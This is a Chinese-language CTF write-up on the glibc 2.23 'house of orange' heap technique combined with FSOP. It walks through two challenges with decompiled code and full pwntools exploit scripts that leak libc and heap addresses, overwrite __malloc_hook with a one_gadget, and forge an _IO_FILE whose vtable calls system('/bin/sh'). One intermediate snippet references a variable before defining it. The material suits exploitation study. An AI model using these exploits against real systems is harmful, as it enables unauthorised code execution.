house of orange
首先
house of orange 是当程序没有free函数的时候,我们可以通过一些方法,来让chunk被填入unsortbin中,成为一块被free的chunk,然后通过对_IO_FILE_plus.vtable的攻击,达到getshell的目的。 而通常不单单只是利用house of orange手法,还要搭配着FSOP攻击
glibc版本
glibc 2.23 -- 2.24
原理
如果我们申请的堆块大小大于了top chunk size的话,那么就会将原来的top chunk放入unsorted bin中,然后再映射或者扩展一个新的top chunk出来。
利用过程:
1、先利用溢出等方式进行篡改top chunk的size
2、然后申请一个大于top chunk的size
因此需要保证原本old top chunk的size大于MINSIZE,还需要保证原本old top chunk的prev_inuse位是1,并且原本old top chunk的地址加上其size之后的地址要与页对齐 。最后old chunk的size必须要小于我们申请的堆块大小加上MINSIZE。
同时要注意如果我们申请的堆块大于了0x20000,那么将会是mmap映射出来的内存,并非是扩展top chunk了。
即:
- MINSIZE<old_top_size<申请的chunk+MINSIZE
- old_top_size的prev_size位是1
- 页对齐
- 申请的chunk<0x20000
如果满足上述条件,则old top chunk就会进入unsorted chunk
###从unsorted bin中取堆块的时候,是从尾部取的堆块。
FSOP
再利用FSOP攻击去篡改_IO_list_all 劫持IO_FILE结构体并且将vtable中的_IO_overflow函数地址改成system地址
让IO_FILE结构体中的flags成员为/bin/sh字符串从而拿到shell
触发条件
- 执行exit函数
- 执行abort流程时
- 程序从main函数返回
例题
ciscn 2024 orange_cat_diary
ida
main
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char s[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
sub_B26(a1, a2, a3);
puts("Hello, I'm delighted to meet you. Please tell me your name.");
memset(s, 0, 0x20uLL);
read(0, s, 0x1FuLL);
printf("Sweet %s, please record your daily stories.\n", s);
while ( 1 )
{
while ( 1 )
{
sub_AA0(); // int sub_AA0()
// {
// puts("\n##orange_cat_diary##\n");
// puts("1.Add diary");
// puts("2.Show diary");
// puts("3.Delete diary");
// puts("4.Edit diary");
// puts("5.Exit");
// return printf("Please input your choice:");
v3 = sub_B90();
if ( v3 != 2 )
break;
show();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
dele();
}
else if ( v3 == 4 )
{
edit();
}
}
else if ( v3 == 1 )
{
sub_BF5();
}
}
}
dele
__int64 dele()
{
if ( dword_202010 > 0 )
{
free(ptr);
--dword_202010;
}
puts("Diary deletion successful.");
return 0LL;
}
发现只能dele一次
orange的特征就是没有足够的free次数所以本题我们运用house of orange
show
__int64 show()
{
if ( dword_202014 > 0 )
{
fwrite(ptr, 1uLL, dword_202058, stdout);
--dword_202014;
}
puts("Diary view successful.");
return 0LL;
}
show同样只有一次
思路
利用house of orange使 old top chunk放入unsorted bin 中再add 0x60刚好可以取出old top chunk里残余的数据此时就可以利用one_gadget拿到shell
过程
修改old top chunk 使其进入unsorted bin
该过程exp
add(0x108,b'a')
edit(0x110,b'a'*0x108+p64(0xef1))
add(0x1000,b'a')
泄露libc
add(0x60)#申请残余内容
在这里
可以看到FD BK处填入了libc地址
show()
main_arena = u64(l8(rc(6))) - 0x61 #减去覆盖的a
libc.address = main_arena - 0x3c5100 #偏移(0x00007f0ff495e188-0x7f0ff4599000)-0x88
搜索one_gadget
刚好0xf03a4 满足条件
劫持malloc hook 修改为og
dele()
edit(0x20,p64(libc.symbols['__malloc_hook']-0x23))
add(0x60,b'a') #申请旧chunk
add(0x60,b'a'*0x13+p64(gadget)) #申请malloc hook
运行
此时需要再次调用malloc使得one_gadget执行
完整exp
# -*- coding=utf-8 -*-
from pwn import *
from struct import pack
import time
import random
from ctypes import *
fname = './pwn'
context(arch='amd64',os='linux')
elf = ELF(fname)
libc = ELF('./libc-2.23.so')
rc=lambda *args:p.recv(*args)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ls=lambda *args:log.success(*args)
ia=lambda *args:p.interactive()
ts=lambda *args:time.sleep(*args)
l8 = lambda x:x.ljust(8,b'\x00')
p=process(fname)
def duan():
gdb.attach(p)
pause()
def menu(idx):
ru('ce:')
sl(str(idx))
def add(size,content):
menu(1)
ru('nt:')
sl(str(size))
ru('nt:')
sd(content)
def show():
menu(2)
def dele():
menu(3)
def edit(size,content):
menu(4)
ru('nt:')
sl(str(size))
ru('nt:')
sd(content)
ru('ame.\n')
sd('heresy')
add(0x108,b'a')
edit(0x110,b'a'*0x108+p64(0xef1))
add(0x1000,b'a')
add(0x60,b'a')
show()
main_arena = u64(l8(rc(6))) - 0x61
libc.address = main_arena - 0x3c5100
gadget = libc.address+0xf03a4
print('libc:', hex(libc.address))
dele()
edit(0x20,p64(libc.symbols['__malloc_hook']-0x23))
add(0x60,b'a')
add(0x60,b'a'*0x13+p64(gadget))
ia()
house of orange
add
int add()
{
unsigned int size; // [rsp+8h] [rbp-18h]
int size_4; // [rsp+Ch] [rbp-14h]
_QWORD *v3; // [rsp+10h] [rbp-10h]
_DWORD *v4; // [rsp+18h] [rbp-8h]
if ( unk_203070 > 3u )
{
puts("Too many house");
exit(1);
}
v3 = malloc(0x10uLL);
printf("Length of name :");
size = sub_C65();
if ( size > 0x1000 )
size = 0x1000;
v3[1] = malloc(size);
if ( !v3[1] )
{
puts("Malloc error !!!");
exit(1);
}
printf("Name :");
sub_C20(v3[1], size);
v4 = calloc(1uLL, 8uLL);
printf("Price of Orange:");
*v4 = sub_C65();
sub_CC4();
printf("Color of Orange:");
size_4 = sub_C65();
if ( size_4 != 56746 && (size_4 <= 0 || size_4 > 7) )
{
puts("No such color");
exit(1);
}
if ( size_4 == 56746 )
v4[1] = 56746;
else
v4[1] = size_4 + 30;
*v3 = v4;
qword_203068 = v3;
++unk_203070;
return puts("Finish");
}
发现只能add四次
show
int show()
{
int v0; // eax
int v2; // eax
if ( !qword_203068 )
return puts("No such house !");
if ( *(_DWORD *)(*qword_203068 + 4LL) == 56746 )
{
printf("Name of house : %s\n", (const char *)qword_203068[1]);
printf("Price of orange : %d\n", *(unsigned int *)*qword_203068);
v0 = rand();
return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *((const char **)&unk_203080 + v0 % 8));
}
else
{
if ( *(int *)(*qword_203068 + 4LL) <= 30 || *(int *)(*qword_203068 + 4LL) > 37 )
{
puts("Color corruption!");
exit(1);
}
printf("Name of house : %s\n", (const char *)qword_203068[1]);
printf("Price of orange : %d\n", *(unsigned int *)*qword_203068);
v2 = rand();
return printf("\x1B[%dm%s\x1B[0m\n", *(unsigned int *)(*qword_203068 + 4LL), *((const char **)&unk_203080 + v2 % 8));
输入56746会进入特殊的show
edit
int sub_107C()
{
_DWORD *v1; // rbx
unsigned int v2; // [rsp+8h] [rbp-18h]
int v3; // [rsp+Ch] [rbp-14h]
if ( unk_203074 > 2u )
return puts("You can't upgrade more");
if ( !qword_203068 )
return puts("No such house !");
printf("Length of name :");
v2 = sub_C65();
if ( v2 > 0x1000 )
v2 = 4096;
printf("Name:");
sub_C20(qword_203068[1], v2);
printf("Price of Orange: ");
v1 = (_DWORD *)*qword_203068;
*v1 = sub_C65();
sub_CC4();
printf("Color of Orange: ");
v3 = sub_C65();
if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )
{
puts("No such color");
exit(1);
}
if ( v3 == 56746 )
*(_DWORD *)(*qword_203068 + 4LL) = 56746;
else
*(_DWORD *)(*qword_203068 + 4LL) = v3 + 30;
++unk_203074;
return puts("Finish");
}
编辑chunk
思路
并没有free函数 不能将chunk释放掉所以使用house of orange 将old top chunk 释放接着使用FSOP修改io链触发了_IO_flush_all_lockp即可拿到shell
过程
add(0x30, 'aaaa', 111, 56746) # chunk0
payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(111) + p32(56746)+p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 111, 56746)
top chunk的大小将会被修改为0xf81
此时再申请一个大小大于top chunk的堆快将old top chunk放入unsorted bin
add(0x1000,b'bbbb',111,56746)
add(0x400,b'a',14,3) 申请出top chunk残留的内存
show()
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x61 + 0x78-(0x7f1337edbb78-0x7f1337b17000)
print(hex(libc_base))
malloc_hook = libc_base+libc.symbols['__malloc_hook']
print(hex(malloc_hook))
此时chunk
因此我们还可以将heap地址申请出来
payload = 'b' * 0x10
edit(0x10, payload, 14, 3)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xf0 #与heap基地址的偏移
success('heap = '+hex(heap))
泄露出来heap_base后就可以使用FSOP构造io链了
pay = b'a'*0x400+b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
pay += p64(0) + p64(1)
pay = orange.ljust(0xc0, b'\x00')
pay += p64(0) * 3 + p64(heap_base + 0x5E8) + p64(0) * 2 + p64(system)
payload = p64(0) + p64(0x21) + p32(111) + p32(56746)
payload += p64(0) + pay
edit(len(payload), payload, 111, 56746)
此时unsorted bin chunk的size修改成0x61,bk指针修改为io_list_all-0x10,
unsorted bin attack完成io_list_all 修改为main_arean
io.sendlineafter('Your choice : ', '1')
刷新IO文件流getshell
exp
import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
r = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))
def duan():
gdb.attach(r)
pause()
def add(size, content, price, color):
r.recvuntil("Your choice : ")
r.sendline('1')
r.recvuntil("Length of name :")
r.sendline(str(size))
r.recvuntil("Name :")
r.send(content)
r.recvuntil("Price of Orange:")
r.sendline(str(price))
r.recvuntil("Color of Orange:") #1-7
r.sendline(str(color))
def show():
r.recvuntil("Your choice : ")
r.sendline('2')
def edit(size, content, price, color):
r.recvuntil("Your choice : ")
r.sendline('3')
r.recvuntil("Length of name :")
r.sendline(str(size))
r.recvuntil("Name:")
r.send(content)
r.recvuntil("Price of Orange:")
r.sendline(str(price))
r.recvuntil("Color of Orange:") #1-7
r.sendline(str(color))
add(0x30, 'ffff\n', 111, 56746)
payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(111) + p32(56746)
payload += p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 111, 56746)
add(0x1000, 'b\n', 111, 56746)
add(0x400, 'b' * 8, 12, 2)
r.sendlineafter("Your choice :", "2")
r.recvuntil('b' * 8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, b'\x00')) - 0x678
libc.address = malloc_hook - libc.sym['__malloc_hook']
_IO_list_all = libc.sym['_IO_list_all']
system_addr = libc.sym['system']
edit(0x10, 'b' * 0x10, 12, 2)
r.sendlineafter("Your choice :", "2")
r.recvuntil('b' * 0x10)
heap_addr = u64(r.recvuntil('\n', drop=True).ljust(8, b'\x00'))
heap_base = heap_addr - 0xE0
orange = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
orange += p64(0) + p64(1)
orange = orange.ljust(0xc0, b'\x00')
orange += p64(0) * 3 + p64(heap_base + 0x5E8) + p64(0) * 2 + p64(system_addr)
payload = cyclic(0x400) + p64(0) + p64(0x21) + p32(111) + p32(56746)
payload += p64(0) + orange
edit(len(payload), payload, 111, 56746)
r.sendlineafter('Your choice : ', '1')
r.interactive()
- 附件.zip 下载